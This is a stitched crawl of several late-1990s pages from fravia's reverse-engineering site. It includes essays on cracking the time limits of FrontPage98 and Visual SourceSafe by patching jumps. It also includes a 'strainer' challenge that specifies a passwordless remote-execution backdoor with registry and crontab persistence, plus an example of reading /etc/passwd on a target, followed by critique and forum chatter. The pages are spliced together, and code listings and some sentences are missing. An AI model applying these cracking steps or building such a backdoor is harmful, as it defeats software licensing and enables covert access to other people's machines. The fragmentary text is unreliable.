You are deep inside fravia's page of reverse engineering, choose your way out:
project 9
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering illegal?
by TWD
Well, the question posed here by TWD (among others, I had quite a lot of letters about this) is a serious one:
Are our enemies at Micro$oft just 'faking' protections, and in the reality intend to GIVE AWAY FOR FREE
their software in order to destroy all competition?
Well, as you will be able to read more thoroughly in the main project 9 page... WHO CARES WHAT THEIR
'clever' STRATEGIES are... We'll deprotect ALL Micro$oft programs, wherever they appear, whatever they use
as a protection scheme... and if the road to success is to give away for free software, that suits us... good luck
Billy! Either you give it out for free (which is nice) or we'll strip off its protections anyway (wich is also nice).
Of course (cela va sans dire) we will never use your buggy overbloated software... we have not yet been
lobotomised :-)
And now enjoy this quick crack by TWD and mail it to any luser that might eventually contemplate the
possibility to buy FrontPage98... which he would not need anyway, since this target is now given away in its
complete and unprotected version by Micro$oft itself...
If I know that a program expires after some time, the first thing I do
is to set a breakpoint to "GetLocalTime" using my beloved SoftIce
(ver 3.1) and therefore:
SoftIce first pops up in the "MSVCRT.DLL", but this is not the right
one.
Than we have breaks at "MSVCRT20.DLL" and the Explorer.
But the fourth time we come back to "MSVCRT.DLL". When we leave the
procedure we come to "MFC42.DLL". and if we leave this procedure too,
we are inside the deep waters of "FP30CUTL.DLL".
The way to accomplishment is long, so we have to
step through some lines of code and come to :
The first jump is used if the time is over. The second jump is used
if FP-Explorer expired some time ago. The only thing to do is to NOP
both jumps or to change the first jump into "jmp 67b2cd2e" and some
other NOPs.
Now FP-Explorer and FP-Editor will work till you delete them.
mailto : twd.rulez@gmx.net
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to Project 9
A very easy crack, but it's a Micro$oft crack. That's worth an essay.
Introduction
You wont believe it, but Micro$oft distributes a german developer CD-ROM
With a lot of crap on it, but also with on or two "time-protected" programs.
One of the programs is Visual SourceSafe 5.00
Tools required
Tools I used : - SoftICE 3.22 - IDA 3.7 - UltraEdit 5.0 (just for editing and writing essays)
Target's URL/FTP
Maybe at www.microsoft.com
Program History
Which history ???
Essay
After starting Visual SourceSafe 5.00 and logging in, a window appears and
tells us that only 30 days a remaining, before VSS expires.
Thanx a lot, I finished it and started it again. Before finishing the login,
I set a breakpoint on GetLocalTime and continued.
Nice, nice, but not the thing we are looking for. You can look around by pressing
some "^p ret;" in your SoftICE, but this is not the right position, at least not
in the moment.
After carrying on, SoftICE pops up at exact the same position as the last time, but
this time called by another procedure :
The call at "100025C7" checks the time. The days since installation are stored in
eax.
If more than sixty days are gone, a special message box pops up. (Error 1).
There are more error messages like this one. This one is called if more than 30 days
have passed since SourceSafe expired. If you have just installed Visual SourceSafe,
it shouldn't be expired, that means it jumps to :
If more than 30 days and less than 60 days passed by, another message box pops up
(Error 2).
Else we keep going on jumping to :
If less than 30 days are gone, SourceSafe calculates the remaining days, stores them
in ecx and outputs it with a message box. This is no real error, but it disturbs.
To kick this silly protection and to remove the message box (Error 3), the only thing
to do, is to change the
to
This will jump short behind the message box (error 3), but it shouldn't jump on
the
mailto:twd(point)rulez(at)gmx(point)net
http://twdrulez.home.ml.org
Final Notes
Cracking this program was very simple. One breakpoint on GetLocalTime was enough.
Why some one should use this program is very easy to explain. The overbloated
M$ - programs make it necessary.
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:
Microsoft bashing
Software reverse
engineering and
web survival
arguments
Software protection
techniques and tools
~
Anonymity on the Web:
stalking, enemy
tracking and other
fravia's techniques
~
Reality cracking and
F pages of anti-advertisement
techniques and tools
~
How to search the web:
V updated
January
1999
anti-Netscape scripts
and tricks; tools for
software reverse
engineering;
I cgi-cracking; user
self-defense; corporate
survival counter
measures; home-pages
On the Web
since 1995!
If you have landed here for the first time, or if you are interested in the history of this site,
read a word to the confused ones before proceeding
__Disclaimer of liability__
I do disclaim thee, Oh Liability!
All information on my site is published for educational purposes only. You may reverse engineer, debug
or crack only applications or programs you have legitimately bought, and only for your personal use.
You may bomb or nuke only sites and pages that are really lame and/or pathetically commercial-oriented
:-)
I advice those of you still using Netscape (or, even worse, M$IE) to download and use from now on
Opera, an extremely highly configurable, powerful, easy to reverse and lean (less than a million bytes!)
browser that will let you forget once for all both overbloated browsersaurii and their terrible bugs. Of
course you are allowed to use Netscape on my site (if you do, take care: the best version is -by far-
good old and solide version 3, not the overbloated and buggy versions 4, 4,5 & 5).
Now, please, try to understand: you may NOT use Micro$oft's puke on my site! (Watch it! Some pages
just "play" hostility, some are seriously M$IE hostile, so: don't complain you have not been warned! :-)
Fravia's blackboard!
I don't use public counters nor public trackers any more, since I can easily track all my visitors wherever
they go (see here a detailed explanation). I'll just keep the Websitestory counter below, which ignores all
the "stammkunden" rushing inside from the entran.htm and the new_what.htm pages and counts only the
~ 3000 daily visitors who wait patiently at the main entrance of the fortress until the Websitestory server
has planted its cookie (i.e. mostly new visitors). Since I'll never commercialize my site, this is cool, if a
little snob: lotta real visitors (more than 80000 "hits" daily actually, according to my own server's
loggings), yet low profile!
Ignore this link. It connects to a bunch of phony E-mail addresses to frustrate address-gathering spiders
from the stupid spammers,
add such a page to your main page too, and make things more difficult for the silly commercial oriented
idiots.
I have prepared a small page of advices against commercial spammers.
This site guaranteed 100% frames and advertisement free, made with full-recyclable electrons, respects
all directives of the European Union regarding environment, please don't litter
purpose of generating profit, including both (1) being printed in a book to be sold and (2) being held in a
database system for paid retrieval purposes. Anyone wishing to use the contents of my site for profit
purposes should contact the Editor.
Black text on my gray #C0C0C0 background: 22704 bytes (of course no frames)
4 Images:
bulletr.gif (used, and stretched, 22 times :-) 882 bytes
blackbo.gif (black background :-) 573 bytes
bilicit3.jpg (my vanity :-) 34965 bytes
webcafe.gif (my protectors) 13647
Fravia's
"What's new" Page
Has
Moved
Here...
Please always entry my fortress from the main entrance....
Main Labs
[Software reversing Lab] [Reality cracking Lab] [Anonimity Lab] [How to search Lab]
[Javascript protections Lab] [Protecting better Lab]
Wait patiently: table is loading, and... you always better SHIFT+Reload just in case...
The "Millennium" +HCU strainer and lesson 2 of this year's courses (by +Aesculapius) have been
published!
For more remote updates (1997 and 1998), don't forget to check
Fravia's blackboard!
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
A delayed strainer
by Fravia+
Dear readers, I'm proud to introduce the Millennium
strainer, for the +HCU 2000 courses. I know that we
are late: due to the problems that are listed elsewhere
we have had a three-months delay in the presentation of
the strainer this year. I would tehrefore propose that all
your answers for admission should be presented either
to +Aesculapius, to +ORC, to +Greythorne, or to me
BEFORE THE 15 December 1999, so that you will have
four months and two weeks to solve the strainer and we
will have some time for the evaluation of all results. We
hope that +ORC will send his contribute very soon, but
we will anyway publish the fourth challenge of this
strainer before the end of August.
Aspirant HCUckers around the world, welcome back. This is the part
of reversing that I mostly like, because I have the opportunity to make some
statements and be sure I'll be heard by the best reversers worldwide. Before
I begin with the technical part, I want to express my gratitude and
commitment to the +HCU's members, specially to those who make possible its
existence and who also are, the primer teachers & students of this
academia, among them, +ORC, Fravia+, +Greythorne, +Sync) and the rest of the
+HCUkers.
+ORC wanted to enhance our knowledge in this field, and it was my intention
to help him achieving this goal, however, life does not always evolves
as we want, but I'm sure there will be time for demo reversing very
soon. Ok, enough chatting, now, is time to get some heat.
This year, I'm not going to hide the general objectives of the
Strainer. Basically, I want to kick off the field of modern anti-debugging
techniques and Server authenticated protections reversing. It'll be divided
in four sections or challenges (as before), but I will include additional
rules to ease the presentation and delivery of the answers. In regard to
the limit date to deliver the answers, I don't know, +Fravia will decide
how much time you need to comply with the four challenges.
Target: aescul.exe
Location: aescu_mi.zip
Left empty on purpose. +ORC has not contacted me lately but I hope
he will soon. I will respect his rights to collaborate with the Strainer
contents. If he doesn't communicate, a fourth challenge will be published
before the end of August.
Final words:
1. Not compliance with a single one of these rules == Forget About the +HCU.
2. Answers will be valid ONLY if they are delivered on time (before 15/12/99)
to:
+Aesculapius
+Fravia
+Greythorne
+ORC
11. Last but not list: Items marked **optional** are not compulsory,
but if answered, will award more value to your score and even
compensate for wrong or incomplete answers in other challenges
because these items are considered of higher difficulty. However,
how the value of an optional item is weighed against a wrong answer,
is a decision belonging to the +HCU teachers only, and not to the
participants by themselves.
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
Dear readers, I'm proud to introduce the Millennium strainer, for the +HCU 2000 courses. I know that
we are late: due to the problems that are listed elsewhere we have had a three-months delay in the
presentation of the strainer this year. I would tehrefore propose that all your answers for admission
should be presented either to +Aesculapius, to +ORC, to +Greythorne, or to me BEFORE THE 15
December 1999, so that you will have four months and two weeks to solve the strainer and we will have
some time for the evaluation of all results. We hope that +ORC will send his contribute very soon, but we
millen1.htm:
will anyway publish the fourth challenge of this strainer before the end of August.
Fellow reversers,
I published the "tn3270" strainer-idea, that you'll find below on my main messageboard on the last day of
April 1999, since the +HCU has always published a strainer in April and notwithstanding the disarray for
the "three caretakers" caused by the syn-attacks against my site, +gthorne's new daughter and the
disappearence of +Aesculapius, I wanted to "keep up one of the few reversers' traditions we have".
Things have changed for the better at the moment: my new fortress is holding well against all sort of
attacks, and http://www.fravia.org will be redirected there very soon. +Aesculapius reappeared with
lessons and tasks (restricted for +HCUkers) and a new +HCU Linux page is developing nice thank to
+Rezident. Moreover, consider the following as just one of the "possible" strainers.
As you all know the intent of the +HCU is NOT to form a 'cracker' group. Our little "+" don't mean at all
that we are "better" than anyone else, in fact there are excellent reversers in many groups that could teach
us quite a lot, if they cared to. Yet we strive for knowledge and we spread reversing knowledge like few
others do, following old +ORC's tradition and steps. Our aim is simply to put together, somewhere on the
web, protectors, coders, reversers and crackers of a specific kind: people able not only to learn but also to
teach all the many techniques that can be useful in this more and more electronic life of ours. Secret
codes with secret meanings abound more and more, as we very well know, and not only inside software.
It is time to reverse at least some of them, it is time to explain, and it is always time to learn. Building on
the shoulders of each other we will go forward, reversing more and more, learning and explaining,
teaching and understanding, towards what I hope will be a better world, or at least a world we will
understand better.
fravia+ May 1999
i noticed it was mentioned that people working together made not a good strainer
what needs to be noted is that my suggestion was that people submit strainers - and then after they are all
in, then graded and members allowed in, THEN AND ONLY THEN are the hcuers to collaborate and
make a combined project out of it
now this of course assumes that people are working on the idea and not deciding that this is not a good
strainer
and no mammon_ i wasnt stealing your idea ;) i found it in a macro virus actually as well - it was a
dropper that echoes to debug.com just like you do (but i agree 100% that to steal it is not doing ones own
work ;) *poke poke!*
what i want to see are people who want to get into areas they have not before truly mastered, in order so
that the corporate world does not run the lives of us all
this is why the hcu exists in the first place hacking and cracking are both in the agenda from day 1 (just
read some of +orc's propaganda.. quite humourous and a bit much at times but getting past that, the point
was made) --- reversing big brother requires more than 'jnz/jz good code' but getting around the machines
and software remotely as well as the ones on your desks
personally, i would love to see some ideas as well - i am open to the idea of someone coming up with a
project idea, planing it and attacking it (for those of you who have been to grad school you may be
familiar with the idea)
the reason i suggest this is that sometimes there are great ideas that are missed, and also there are topics
that as you may guess from reading the other messages on this topic - may not be interesting to the
people posting for whatever reason
instant access was a rough one - i definately agree, and i for one spent months working on it when i had
the chance -- part of which because it wasnt exactly the clearest english for that matter but then technical
documents are never extremely clear anyhow
in another life i might have been a linguist rather than a computer type, but then thats why i write well,
and tend to not get the greatest 'grades' on my technical drafts -- to much clearer to read than the
professorial types like (if it's readable it doesnt belong in a computer science classroom...)
but anyway, i would love to see some ideas, and i would also love to see what comes of the original
strainer idea posted above
much of the reason hcu has been slow going lately is communication - finally egroups has fixed their size
problem and we can now use it for hcu mail lists (some lists being the primary method we have been
using until these last few months when servers changed and well, now things are automated in such a
way that time can again be on our side)
it takes work to make an organization live, and though that term applies loosely to hcu - which is made
up of lone wolf types with a desire to learn, members do need to think of challeneges
if i were to make the most of a suggestion to those of you who are new and wish to get better at cracking,
and in preparation for hcu classes, GET FAMILIAR WITH WIN32 ASM - if you can write programs in
it, you have a serious step up on cracking win32 apps. So much has happened lately to make this easy,
that it is important to learn it.
well, before i go into anything else, and before i have any more coffee, i am done for now 8^)
please post any responses on fravia's main messageboard, i would love to hear your ideas - or get on the
hcuml and post there, the list is only newly running again and it takes usually a few weeks to get back on
track
+Gthorne
Olorin's critics
Quite a negative judgment of fravia's and Steinowitz proposal :-(
As you will read below, +Aesculapius is preparing the "real" Millennium strainer,
so we will see what we do with this proposal of ours. I still think, Olorin
notwithstanding :-) that meddling with the TN3270 protocol is quite an
interesting endeavour... raeders will judge!
Disclaimer - This is only opinion, although it contains references useful to anyone attempting the
strainer.
Firstly, what has been set is nothing more than an over elaborate implementation of back door programs
such as Back Orifice, NetBus and Unix rootkits.
The remote execution section totally relies on the ability beforehand to either trick a user into running a
trojanned program, or having access to the computer beforehand.
What is REserver.exe and REclient.exe other than BOserver.exe and BOclient.exe with a tn3270 added
on for no particular reason. "Use the TN3270 protocol for this and you'll be able to use this as a full shell
account! And you don't need passwords to verify your access to the server" - Oh wow. Unlimited access
without passwords. That sounds just like the rootkits that any decent security site carries, eg packetstorm,
before antionline shut them down. Luckily for antionline, they got a copy of all the files first, at
www.anticode.com. You can find rootkits and telnet servers to sit on a port there.
Using previously configured associations between a web browser, windows, and the command line
represents little more than an overly complicated set of interfaces, better suited to a GUI or simply
executing the client.
Rewriting a tn3270 client, an interface developed for IBM mainframes from scratch has bugger all to do
with reverse engineering and nothing to do with good programming practice. Save yourselves the
trouble, and checkout http://www.geocities.com/SiliconValley/ Peaks/7814/ for a windows client with
complete source, and http://www.hgsys.demon.co.uk/linux.htm for a linux client and source.
Hmmm, to make things tricky, lets throw in a little regular expression and pattern matching. Yawn.
The three sections on different interfaces, javascript, perl and c are nonsensical. If a person had access to
to a remote workstation just once, why would you install a tn3270 server? On a non-standard port? Just
install the personalized version of BO2K. Virtually each server is unique, running on a different port with
a different protocol, and responding to different types of encryption and pass-phrases. Nothing is
defaulted.
The last section - The only part to have any real reversing content, taking telnet.exe and adding in the
ability to parse the commandline so that not only the host and port are recognized, but an optional extra
parameter that represents the command to be executed. Hmmmm telnet to a telnet server, and execute a
command. BUT *and this is the tricky bit* put that command on the command line. Oh, and do it purely
in assembly while working with a pre-built executable. That'll be some patch.
Since when did the HCU become a bunch of extremely inefficient hackers, writing ridiculously over
complex back doors and trojans?
mailto:olorin(at)netlink(dot)com(dot)au
Introduction
Since fravia+ is very busy with rebuking the attacks on fravia.org, he asked me to write down how the
Millennium Strainer should be. Both fravia+ and I think that Reverse Engineering on the web is the
future, therefore, this strainer is about Remotely Executing. While cracking software appz is done by the
dozens of crackgroups which exist at the moment, elite reverse engineers like +HCUkers should move on
to where the future is: the Internet.
Because of this, the +HCU strainer should not only test your reverse engineering skills. An elite reverse
engineer needs knowledge of coding, reverse engineering and the Internet. This strainer requires you to
know quite a lot about all three. Let's proceed with the assignment!
Remotely Executing
The main objective of this strainer is to make it possible to run any executables you choose on a target
machine where you have had access. Let me explain to you how this should work.
To make it possible to run any executables on a target machine, you should write two executables
(REserver.exe and REclient.exe).
Write these executables in C, using ANSI C functions where possible to make your programs as
portable as possible.
REserver.exe should run on the target machine, accept any connections requested by REclient.exe
and then execute what REclient.exe orders.
REserver should then catch the output of the program (and the exit code of the program) and send
it back to REclient which shows it to the user.
When you enter tn3270:// in your browser's address textbox, Windows will automatically start
Telnet.
The TN3270 protocol is a rarely used telnet-like protocol, invented by IBM.
If you managed to do all this, you should proceed implementing another function. Before, I only
talked about catching the output of a program and sending it to the client, but what when I want to
run /bin/bash or command.com? Indeed, we should also allow users to provide information (or
new commands in case of a shell) to the executables running on the target machine. Use the
TN3270 protocol for this and you'll be able to use this as a full shell account! And you don't need
passwords to verify your access to the server (providing REserver.exe is running)!
REserver should be able to handle more than one connection at the same time (with a maximum of
10).
Think about how you can make sure that REserver is always running on a target machine! Think
about adding a RunServices key to the Windows registry. Besides, for UNIX systems, you could
write a sh script which checks if REserver is still running. Set a crontab for this sh script and
you're settled even when your UNIX restarts!
Don't forget to implement decent error trapping routines!
A complete solution should at least cover solutions for both Windows 95/98 systems and UNIX systems.
Read 'Portability' for more info on this.
Web-interfaces
After coding all this and testing it well, it's obvious that this isn't as easy-to-use as it should be. What we
need are a couple of decent interfaces which make it really easy for users to use REclient. Encoding
commands like the examples I gave is easy to do, but I don't want to be forced to look up the
hexadecimal ASCII codes for all kinds of special characters. Let's describe a couple of interfaces you
should make it you want to do it perfect. I would waste time if I would explain to you why these
interfaces should be web-interfaces. :-)
Interface 1 - JavaScript
If you don't know how to make webpages with standard HTML tags: learn it right now! Don't you dare to
use M$ FrontPage (or any other WYSIWYG HTML editor) for this assignment, because that would be a
serious insult. :-)
Notepad or pico/gvim is good enough for our purposes!
Alright, write a webpage where a user could enter 1) hostname/IP of the target machine and 2) the
executable which REserver should start. When this user clicks the button, a JavaScript function should
encode hostname/IP and command to execute in the URL format I explained earlier:
tn3270://target_machine/encoded_command. Change the browser's location to this new URL and your
REclient.exe will do what it should do... (If you re-associated the TN3270 protocol with it!)
Interface 2 - Perl
Write a Perl CGI script which does exactly the same as the JavaScript page described above. Don't forget
that it should be a CGI script! (Thus: it shouldn't be executed as a program from your command prompt.
If you don't have installed Perl on your local workstation, you could install your script on a webserver
where you have CGI permissions. Don't forget that you'll still need REclient.exe installed on your local
machine!)
Note If you're a real +HCUker, you also write Perl scripts which do exactly the same as REserver.exe
and REclient.exe! Believe me, that it's easy if you finished your C version and know something about the
differences between C and Perl!
Interface 3 - C (again)
Last, but not least, one more web-interface. As a matter of fact, this one isn't just an interface. This one
should be both web-interface and REclient in one. I think you already understand what I mean with this.
No? Ok, read on and you'll understand!
I started this essay writing that the Internet will become more and more important for all elite reverse
engineers who want to keep up with the best. Therefore, for those who don't already know all about this,
it's getting time to learn everything about CGI programming. Remember: you can't reverse engineer if
you can't engineer! Why did you learn coding in assembly? Indeed, you couldn't reverse engineer
without it! That's why this strainer also requires you to know quite a bit about the Internet and CGI, a.k.a.
Common Gateway Interface. And since most servers are UNIX-based platforms, it's also getting time for
all those Bill Gates-people to shutdown Windows, restart with some UNIX platform and see how long a
system can be stable without restarting at all!
Remotely executing whatever you want sounds good, but remotely executing whatever you want by
ordering a remotely hosted client to arrange this sounds even better! I really hope you can follow my
deep thoughts. If you don't: get a glass with your favourite cocktail, sit back and relax, enjoy your drink
and think about it. Believe me: it'll work! :-)
For those who didn't already understand: write a CGI program in C which provides your with a
web-interface. When you enter data in the web-interface and submit it, the CGI program should behave
as it were REclient.exe. All output should be correctly formatted HTML code. This CGI program should
be installed on a webserver where you have CGI permissions. To prevent unauthorised users from using
this interface, you should implement a password protection. Write another CGI program in C which the
system administrator (you) can use to add/remove users to the user list. Passwords should always be
stored in an encrypted format.
An example.
When I'm allowed to login on a UNIX system called target.com only once, I can upload the source of
REserver, compile the program and run it. At that point, I have unlimited access.
I installed the REinterface CGI program I wrote in C on my ISP's server, www.myISP.com. I can now
access this by surfing to http://www.myISP.com/~switz/REinterface. A nice interface appears on my
screen. I enter the name of the target machine, target.com. I also enter the command I want to run on the
target machine: '/bin/cat /etc/passwd'. Furthermore, I enter my login name and password. After I did all
that, I click the button. A couple of moments later, the output appears on my screen: the contents of the
file /etc/passwd! (And, of course, if the system admin of target.com configured his system well, I will
only see 'No access to /etc/passwd' or an almost empty (shadowed) password file, but our REinterface
and REserver work fine and that's the main point!)
Please note: This REinterface sure is a nice piece of web engineering, but you cannot provide any input
to the executable after it started. For example, you can't provide any commands to '/bin/bash' or
'command.com' after you started it! A large benefit of this interface is that you don't need to install
REclient.exe on your local machine: you can use this interface from wherever you are, provided that you
have access to the Internet.
web-interfaces. But there's one more client we want: use your reverse engineering skills to create a client
out of telnet which you can use in combination with the same REserver as you used in all cases before.
Yes, you're totally right when you conclude that you only have to code one server, but quite some
interfaces/clients. :-)
Dive deep into telnet.exe. All code needed to communicate with a target machine is already available,
but where is the code you need to modify? Micro$oft helped you a great deal by leaving so much wasted
space in the executable: there's quite some room to add your own code. However, I wouldn't be surprised
if it would be necessary to add more.
Here are some ideas about what you could try to achieve with telnet.exe.
Don't associate the TN3270 protocol with REclient.exe. Instead, modify telnet.exe in such a way
that it starts REclient.exe when telnet is started with an argument starting with tn3270://. (Telnet
immediately closes.) It's not an efficient way of associating the TN3270 protocol with REclient,
but it proofs that you know something about reverse engineering. When telnet is started with a
normal telnet:// argument, normal communication should follow.
You could also try to make telnet.exe work as REclient.exe. As I said before: many functions
necessary for communication are already present. (Check out the differences between the telnet
and tn3270 protocol if you managed to implement the tn3270 protocol in your REserver!)
When you try to make telnet.exe work as REclient.exe, you could choose to replace functions not
needed anymore. But you could also choose to keep it possible to use telnet.exe as your 'normal'
telnet client.
Finally, I always find it very annoying that telnet.exe only knows a couple of 'standard' ports:
telnet, daytime, echo, qotd and chargen. Get a list with standard ports and add those ports of which
you think they are useful to add. (Don't forget to add the port of your REserver! And don't forget
that connecting to that port doesn't work like a normal connection!)
The more you do, the better! Just do what you think you are able to do. The other parts of the Strainer are
pretty straight-forward. You should use your imagination (and Zen skills!) with this part: think of what
you think would be a nice change to telnet.exe, as long as it is related to the rest of the Strainer!
Essay(s)
Since it's almost getting time for you to start with this assignment, I'll mention a couple ideas of things
you could do to achieve a better final result. When you send in your results of this assignment, only
sending (commented!) source codes, binaries and scripts isn't enough. Why did you do what you did?
And how did you do it? Answer those questions in one or more essays about the development of your
results. And since we may assume that you don't develop your final 'product' out of nothing, it probably
wouldn't be a bad idea to include some pre-final versions of your programs. Think about it!
Portability
I already mentioned that you should at least make it possible to compile REserver and REclient (and
REinterface!) under both UNIX and Windows. To make your programs that portable, you need to use
ANSI C functions as much as possible. There are some functions, however, which you'll need, but are
not portable. Since we don't want multiple versions of source and header files for Windows and UNIX,
you'll have to think of something else. The solution is easy: use some preprocessor directives and a
Windows/UNIX flag....
Since there are always differences between C compilers, it could happen that you were able to compile
your executables under both Windows and UNIX, but anyone else trying to do the same (with another
compiler) could have troubles compiling. To avoid this, don't forget to mention which compilers and
operating systems you used. Include all version numbers!
Last words
I already wrote this before, but I can't repeat it often enough: the more you do, the better. Furthermore,
you should work slow and basic. Don't try to do everything at once, because you won't succeed if you do
it that way. Completing an assignment like this requires knowledge, patience and a little Zen. But I think
it's even more important to show that you are willing to learn and that you're capable to do so.
A journey of a thousand miles is started by taking the first step.
-- Chines proverb
Civilisation advances by extending the number of important operations we can perform without thinking
about them.
-- A.N. Whitehead
After these wise words, there's not much left to say. You should solve and send in the strainer before
mid-September, as usual. If you think you're ready before September, I really think you haven't done
enough, even if you did everything I mentioned in this essay. There's so much else you could do to make
it even better! (Think of a good name for your project!) Use the time you have!
I'm really anxious to see the results: I can hardly wait till fravia publishes the results on his website. (That
will take some time though.) In the mean time, I'll see if I have enough time to complete this assignment
myself...
Good luck,
+fravia and Steinowitz
Mail +fravia at fravia_(at)yahoo(dot)com if you have any questions concerning this +HCU Remote Execution Millennium
Strainer.
fravia+ wrote:
I'm glad; you'll have the strainer in one week (maybe less than that) because I need to polish some minor
aspects of it. The targets will be: Challenge 1: CodeSafe v. 3.1, Challenge 2: CuteFTP v. 3.0.2, Challenge
3: Restorator 2.5 (possibly, I'm still thinking on this one), Challenge 4: I'm thinking in leaving this space
empty with a note to +ORC in case he wants to contribute, if he doesn't answer I'll include a fourth target
(Cdrwin 3.7d).
Challenge 1 will require knowledge in PE header layout, Structured Exception Handling, Debug API Set
and SoftICE detection tricks.
Challenge 2: Undefeated until now. Server authenticated. It will require knowledge on WSA, CRC, and
internet protocols.
Challenge 4: CDRWIN 3.7d (if +ORC does not send any contribution or any of +you doesn't want to
propose an alternative target). Cdrwin key system has been defeated by only two crackers in the world
after 4 years of attempts (I was the first one, the other guy is retired from cracking).
So the strainer is tough, but not that tough and it will explore almost every attribute a cracker worth of
entering the +HCU should have. Internet use will be explored too.
>
> If you want to start, beside sending me the new strainer
> (we'll postpone the admission frist accordingly),
> you could send me your first lesson for the '99 levy: I'll
> open a password protected part of my fortress so that +Hcukers
> only (or almost, but those that will anyway find their way
> there will be also pretty good AFAICJ :-) will thus partecipate
> and give their precious feed-back. If you prefer an emaillist
> approach just tell me, I'm sure that +Zero and +Malattia
> would gladly take care of that.
Whatever, the page with password and participation of some important personalities (not necessarily all
of them belonging to the +HCU) is a good idea.
I'll send you my first lesson in about two days (it is ready, but I need to polish the preface text).
>
> Happy to have you back on board.
> Lotta things to do.
> Let's sail and reverse along!
>
> Later, +brother
> fravia+
>
nice to see you too...
cya
+Aesculapius.
20 JULY 1999
Here goto99co.htm the entrance to the +HCU 1999 courses, by +Aesculapius and other older ones :-)
On the other hand one should ask oneself, what is the actual
And that's the point, where this year's strainer comes in:
Fravia's challenge is much more hacking oriented than all
the strainers were in the past. To put it bluntly, the 1999
strainer will attract a person interested in hacking more
than ever. Thus it should be obvious, that hacking the
HCU pages directly, i.e. without solving the strainer,
becomes an attractive solution.
Best regards
VoxQuietis
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
This is a RESERVED ENTRANCE for those that have passed the +HCU 1998 strainer. The first lesson by
+Aesculapius has been published on the "other side" on 20 July 1999. The second lesson by +Aesculapius has been
published on the "other side" on 07 September 1999. There's no way you can land there short of knowing the name of
the page where the lesson has been published. My function grasppasswd() will just equate the password you will now
enter (you have received it either from me, or from +Greythorne or from +Aesculapius if you are an +HCUker) into
the URL you'll be connected with... if you for instance type bilibin you'll land inside bilibin.htm, which is a nice page,
but it has -alas!- nothing to do with the 1999 lessons by +Aesculapius :-)
Here follows the beginning of +Aesculapius' letter, where +students will find the first lesson (20 July 1999)...
Dear +HCUckers, I'm glad to be back. The +HCU courses for this year
should be based in full, unconditional cooperation from those who have
proudly weared the '+' symbol before their names to those who recently
acquired it and also to those who will, in a near future. The +HCU is now
a grown up university, we have fully mature crackers capable of developing,
investigate and teach new techniques in the field of software reversing.
I don't pretend to play the main role in this teaching process, just help a bit
in the organization of new challenging assignments with precise objectives
designed to enhance our common knowledge in the reversing field.
Here follows +Aesculapius' letter, with the second lesson (07 September 1999)...
Dear Fravia+, here you have lesson number 2, for the HCUckers only.
maneuver that attempts to destroy the +HCU and not a real complain about
the quality of the Strainer, which I'm sure is leveled enough to pursue
the goal of an appropiate selection of the new HCUckers.
Best Regards
+Aesculapius
You are deep inside fravia's page of reverse engineering, choose your way out:
IVAN BILIBIN
The secret entrance to Bilibin's pictures at fravia's
(Updated June 1999)
Warning: Jou'll need to have javascript enabled BEFORE loading this page in order to see the images
[Images] ~ [Biography] ~ [Portrait] ~ [Javascript code used on this page]
Submit your own images, I'll publish them (there are even some 'lost' images around)
Ivan Yakovlevich Bilibin (1876 - 1942) was a popular Russian graphic artist and stage designer. His illustration
style was influenced by the stylised forms of Russian Folk and Medieval art, in particular embroidery, woodcuts
and illuminated manuscripts. His use of precise lines links him to the graphic work of Art Nouveau. Bilibin is
best known for his work illustrating Russian fairy tales and epic poems, using his particular style to recreate the
magical, colourful world of Russian folklore. He also is known for his illustrations to the works of Pushkin and
Lermontov. Bilibin's approach to these tales was guided by a strong sense of place. The forests and mountains of
Old Russia were predominant players in images that often provided as many distractions as focal points. He
seemed anxious to incorporate traditional designs and motifs, often as framing devices for illustrations that didn't
require them.
He also did a lot of work for the theatre, designing stunning sets and costumes. Some of the operas he designed
for were The Tale of Tsar Saltan, The Tale of the Golden Cockerel and Prince Igor, and they were staged in the
leading theatres of Petersburg, Moscow, Paris and Prague.
He left Russia in 1920 (at the age of 44) for Egypt, where he set up a studio and lived until 1925. He moved to
Paris for the opening of the World Exhibition at the age of 49. He had a one man show in Prague in 1926 and
helped stage an exhibition of Russian artists in Paris in 1927. He was, by now, an accomplished and sought-after
stage designer and helped stage numerous ballets and operas in Paris, which had its own "Russian Opera Season."
Finally in 1931, at the age of 55, he returned to the illustration of Russian and Oriental fairy tales for a Parisian
publisher.
He returned to Russia in 1936 where he died at the age of 66 in February of 1942. He was in Leningrad during
the German blockade. He left several unfinished projects.
The images are pre-loadeed and the Javascript code for this page looks like this:
var bilimage
function swap(bilimage)
{
document.images[0].src = bilimage+".jpg"
}
// UNHIDE -->
</script></head>
<body bgcolor="#ffffff">
<img src="gorham_62k.gif" border=0>
<hr>
<form>
<input type=button onClick="swap('bilrk')" Value="1) Red_Knight">
<input type=button onClick="swap('bab2')" Value="2) Baba_Yaga"><hr width=44>
<input type=button onClick="swap('bilibi_8')" Value="3) bilibi_8">
// ... etcetera...
</form>
homepage links +ORC students' essays anonymity antismut tools javascript galore
counter measures enemy tracking corporate survival search_forms mail_fravia+
Is reverse engineering legal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
I take the liberty, my dear little reader, of troubling you with the present address, in
order to request a favour, which I hope you will be kind enough to grant, in return
for the pleasure and profit, of which it has been my endeavour to make FRAVIA'S
PAGES OF REVERSE ENGINEERING the vehicle.
The favour which I solicit, is, that you will seriously practise the advice which I give
you: doing all that I command, and avoiding all that I censure; as otherwise, instead
of obtaining the character, to wich I aspire, of a prudent and salutary reverser, I shall,
on the contrary, be accused of putting a number of naughty things into your head,
which is most probable you never think of yourself. Now you should be grateful, for
I do not give this counsel gladly. Reversers have their own labours, and their own
sorrows, and they are little concerned with the ways of hackers, crackers, or any
other creatures upon the web.
OK, admittedly this month's one is more difficult. Especially the exact location of the solution of continuity
(obgleich...). Anyway, as promised, here is the (easy) solution to the previous "november" one (wich,
